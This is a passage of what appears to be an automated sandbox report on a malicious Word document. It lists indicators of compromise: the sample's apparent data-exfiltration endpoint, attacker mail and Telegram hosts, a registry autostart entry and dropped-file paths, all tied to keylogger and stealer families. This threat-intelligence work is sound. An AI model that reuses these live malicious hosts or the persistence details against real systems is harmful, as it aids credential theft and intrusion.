                                                                                                  http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencodedjphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://www.pmail.com0brightness.exe, 00000008.00000003.2199216003.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2207465458.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2206791912.0000000021427000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2231404841.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232007845.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.8.drfalse
                                                                                                      		high
                                                                                                      https://reallyfreegeoip.org/xml/jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.000000002621F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A413000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                                        		high

                                                                                                        World Map of Contacted IPs

                                                                                                        • No. of IPs < 25%
                                                                                                        • 25% < No. of IPs < 50%
                                                                                                        • 50% < No. of IPs < 75%
                                                                                                        • 75% < No. of IPs

                                                                                                        Public IPs

                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                        132.226.8.169
                                                                                                        		checkip.dyndns.comUnited States
                                                                                                        		16989UTMEMUSfalse
                                                                                                        208.91.198.176
                                                                                                        		mail.techniqueqatar.comUnited States
                                                                                                        		394695PUBLIC-DOMAIN-REGISTRYUStrue
                                                                                                        149.154.167.220
                                                                                                        		api.telegram.orgUnited Kingdom
                                                                                                        		62041TELEGRAMRUfalse
                                                                                                        188.114.97.3
                                                                                                        		reallyfreegeoip.orgEuropean Union
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        166.62.27.188
                                                                                                        		amazonenviro.comUnited States
                                                                                                        		26496AS-26496-GO-DADDY-COM-LLCUStrue
                                                                                                        147.124.216.113
                                                                                                        		unknownUnited States
                                                                                                        		1432AC-AS-1USfalse

                                                                                                        General Information

                                                                                                        Joe Sandbox version:41.0.0 Charoite
                                                                                                        Analysis ID:1585295
                                                                                                        Start date and time:2025-01-07 13:23:58 +01:00
                                                                                                        Joe Sandbox product:CloudBasic
                                                                                                        Overall analysis duration:0h 10m 44s
                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                        Report type:full
                                                                                                        Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                        Number of analysed new started processes analysed:22
                                                                                                        Number of new started drivers analysed:0
                                                                                                        Number of existing processes analysed:0
                                                                                                        Number of existing drivers analysed:0
                                                                                                        Number of injected processes analysed:0
                                                                                                        Technologies:
                                                                                                        • HCA enabled
                                                                                                        • EGA enabled
                                                                                                        • GSI enabled (VBA)
                                                                                                        • AMSI enabled
                                                                                                        Analysis Mode:default
                                                                                                        Analysis stop reason:Timeout
                                                                                                        Sample name:ENQ-0092025.doc
                                                                                                        Detection:MAL
                                                                                                        Classification:mal100.troj.spyw.expl.evad.winDOC@24/10@5/6
                                                                                                        EGA Information:
                                                                                                        • Successful, ratio: 100%
                                                                                                        HCA Information:
                                                                                                        • Successful, ratio: 99%
                                                                                                        • Number of executed functions: 148
                                                                                                        • Number of non-executed functions: 114
                                                                                                        Cookbook Comments:
                                                                                                        • Found application associated with file extension: .doc
                                                                                                        • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                        • Attach to Office via COM
                                                                                                        • Scroll down
                                                                                                        • Close Viewer

                                                                                                        Warnings

                                                                                                        • Exclude process from analysis (whitelisted): dllhost.exe, sppsvc.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
                                                                                                        • Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.113.194.132, 23.56.254.164, 52.182.143.209, 52.111.243.43, 52.111.243.40, 52.111.243.42, 52.111.243.41, 2.21.65.130, 2.21.65.149, 52.109.28.47, 20.190.159.73, 20.12.23.50, 13.107.246.45
                                                                                                        • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, weu-azsc-config.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, templatesmetadata.office.net, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, osiprod-uks-buff-azsc-000.uksouth.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, nleditor.osi.office.net, e26769.dscb.akamaiedge.net, uks-azsc-000.roaming.officeapps.live.com, prod-eu-resolver.natur
                                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                                        • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                        • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                        • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                        • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                        • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                                        Simulations

                                                                                                        Behavior and APIs

                                                                                                        TimeTypeDescription
                                                                                                        07:25:00API Interceptor2x Sleep call for process: brightness.exe modified
                                                                                                        07:25:15API Interceptor4x Sleep call for process: Aiymwhpj.PIF modified
                                                                                                        07:25:18API Interceptor1497630x Sleep call for process: jphwmyiA.pif modified
                                                                                                        13:25:06AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Aiymwhpj C:\Users\Public\Aiymwhpj.url
                                                                                                        13:25:15AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Aiymwhpj C:\Users\Public\Aiymwhpj.url

                                                                                                        Joe Sandbox View / Context

                                                                                                        IPs

                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                        132.226.8.169document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        PO_B2W984.comGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        PO_2024_056209_MQ04865_ENQ_1045.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        Azygoses125.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        PARATRANSFARI REMINDER.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        F.O Pump Istek,Docx.batGet hashmaliciousDBatLoader, PureLog Stealer, Snake KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        0001.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        PK241200518-EMAIL RELEASE-pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                        • checkip.dyndns.org/
                                                                                                        208.91.198.176yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                          ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                            image.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                              grace.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                RTGS-WB-ABS-240730-NEW.lnkGet hashmaliciousAgentTeslaBrowse
                                                                                                                  149.154.167.220Resource.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                    user.exeGet hashmaliciousUnknownBrowse
                                                                                                                      UpdaterTool.exeGet hashmaliciousUnknownBrowse
                                                                                                                        document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                          fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                            yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                              ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                  kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.comGet hashmaliciousUnknownBrowse

                                                                                                                                      Domains

                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                      reallyfreegeoip.orgMV DESPINA_VESSEL_DESCRIPTION.doc.scr.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      FORTUNE RICH_PARTICULARS.pdf.scr.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.96.3
                                                                                                                                      fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.96.3
                                                                                                                                      yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.96.3
                                                                                                                                      kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      PO#5_Tower_049.batGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                      • 188.114.96.3
                                                                                                                                      W2k2NLSvja.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      amazonenviro.comyxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 166.62.27.188
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 166.62.27.188
                                                                                                                                      PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 166.62.27.188
                                                                                                                                      api.telegram.orgResource.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      user.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      UpdaterTool.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.comGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      mail.techniqueqatar.comyxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.198.176
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.198.176
                                                                                                                                      image.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.198.176
                                                                                                                                      checkip.dyndns.comMV DESPINA_VESSEL_DESCRIPTION.doc.scr.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      • 132.226.247.73
                                                                                                                                      FORTUNE RICH_PARTICULARS.pdf.scr.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      • 158.101.44.242
                                                                                                                                      document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.8.169
                                                                                                                                      fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 158.101.44.242
                                                                                                                                      yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.247.73
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.8.169
                                                                                                                                      PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 158.101.44.242
                                                                                                                                      kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.8.169
                                                                                                                                      PO#5_Tower_049.batGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                      • 158.101.44.242
                                                                                                                                      W2k2NLSvja.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.247.73

                                                                                                                                      ASNs

                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                      TELEGRAMRUhttp://t.me/hhackplusGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.99
                                                                                                                                      Resource.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      user.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      UpdaterTool.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      PUBLIC-DOMAIN-REGISTRYUSdocument pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.199.225
                                                                                                                                      yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.198.176
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.198.176
                                                                                                                                      http://www.technoafriwave.rwGet hashmaliciousUnknownBrowse
                                                                                                                                      • 207.174.214.183
                                                                                                                                      W2k2NLSvja.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.199.115
                                                                                                                                      image.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 208.91.198.176
                                                                                                                                      YinLHGpoX4.vbsGet hashmaliciousGuLoader, RHADAMANTHYSBrowse
                                                                                                                                      • 103.53.42.63
                                                                                                                                      v4BET4inNV.vbsGet hashmaliciousGuLoaderBrowse
                                                                                                                                      • 103.53.42.63
                                                                                                                                      InvoiceNr274728.pdf.lnkGet hashmaliciousLummaCBrowse
                                                                                                                                      • 208.91.198.106
                                                                                                                                      Shipment 990847575203.pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 119.18.54.39
                                                                                                                                      UTMEMUSMV DESPINA_VESSEL_DESCRIPTION.doc.scr.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      • 132.226.247.73
                                                                                                                                      document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.8.169
                                                                                                                                      yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.247.73
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.8.169
                                                                                                                                      kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.8.169
                                                                                                                                      armv5l.elfGet hashmaliciousUnknownBrowse
                                                                                                                                      • 132.244.2.45
                                                                                                                                      31.13.224.14-x86-2025-01-03T22_14_18.elfGet hashmaliciousMiraiBrowse
                                                                                                                                      • 132.226.42.231
                                                                                                                                      W2k2NLSvja.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.247.73
                                                                                                                                      FACT0987789000900.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 132.226.247.73
                                                                                                                                      PO_B2W984.comGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                      • 132.226.8.169

                                                                                                                                      JA3 Fingerprints

                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                      54328bd36c14bd82ddaa0c04b25ed9adMV DESPINA_VESSEL_DESCRIPTION.doc.scr.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      FORTUNE RICH_PARTICULARS.pdf.scr.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      kP8EgMorTr.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      PO#5_Tower_049.batGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      adguardInstaller.exeGet hashmaliciousPureLog StealerBrowse
                                                                                                                                      • 188.114.97.3
                                                                                                                                      3b5074b1b5d032e5620f69f9f700ff0eU1P3u1tkB2.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      U1P3u1tkB2.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      9876567899.bat.exeGet hashmaliciousLokibotBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      https://antiphishing.vadesecure.com/v4?f=bnJjU3hQT3pQSmNQZVE3aOMl-Yxz6sxP-_mvIRuY-wdnZ1bXTFIOIwMxyCDi0KedKx4XzS44_P2zUeNIsKUb0ScW6k1yl1_sQ4IsBBcClSw_vWV34HFG0fKKBNYTYHpo&i=SGI0YVJGNmxZNE90Z2thMHUqf298Dc88cJEXrW3w1lA&k=dFBm&r=SW5LV3JodE9QZkRVZ3JEYa6kbR5XAzhHFJ0zbTQRADrRG7ugnfE15pwrEQUVhgv3E2tVXwBw8NfFSkf3wOZ0VA&s=ecaab139c1f3315ccc0d88a6451dccec431e8ce1d856e71e5109e33657c13a3c&u=https%3A%2F%2Fsender5.zohoinsights-crm.com%2Fck1%2F2d6f.327230a%2F5f929700-cca4-11ef-973d-525400f92481%2F4cb2ae4047e7a38310b2b2641663917c123a5dec%2F2%3Fe%3DGKxHQ%252FSSm8D%252B%252B3g8VEcICaLHKdekhRU94ImygZ37tRI%253DGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      Mes_Drivers_3.0.4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      c2.htaGet hashmaliciousRemcosBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      setup-avast-premium-x64.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      setup-avast-premium-x64.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      ZipThis.exeGet hashmaliciousUnknownBrowse
                                                                                                                                      • 149.154.167.220
                                                                                                                                      document pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      • 149.154.167.220

                                                                                                                                      Dropped Files

                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                      C:\Users\Public\Libraries\jphwmyiA.pifyxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                          PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                            PO#5_Tower_049.batGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                              HSBC_PAY.SCR.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                PO_B2W984.comGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                                  image.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                    PO_KB#67897.cmdGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
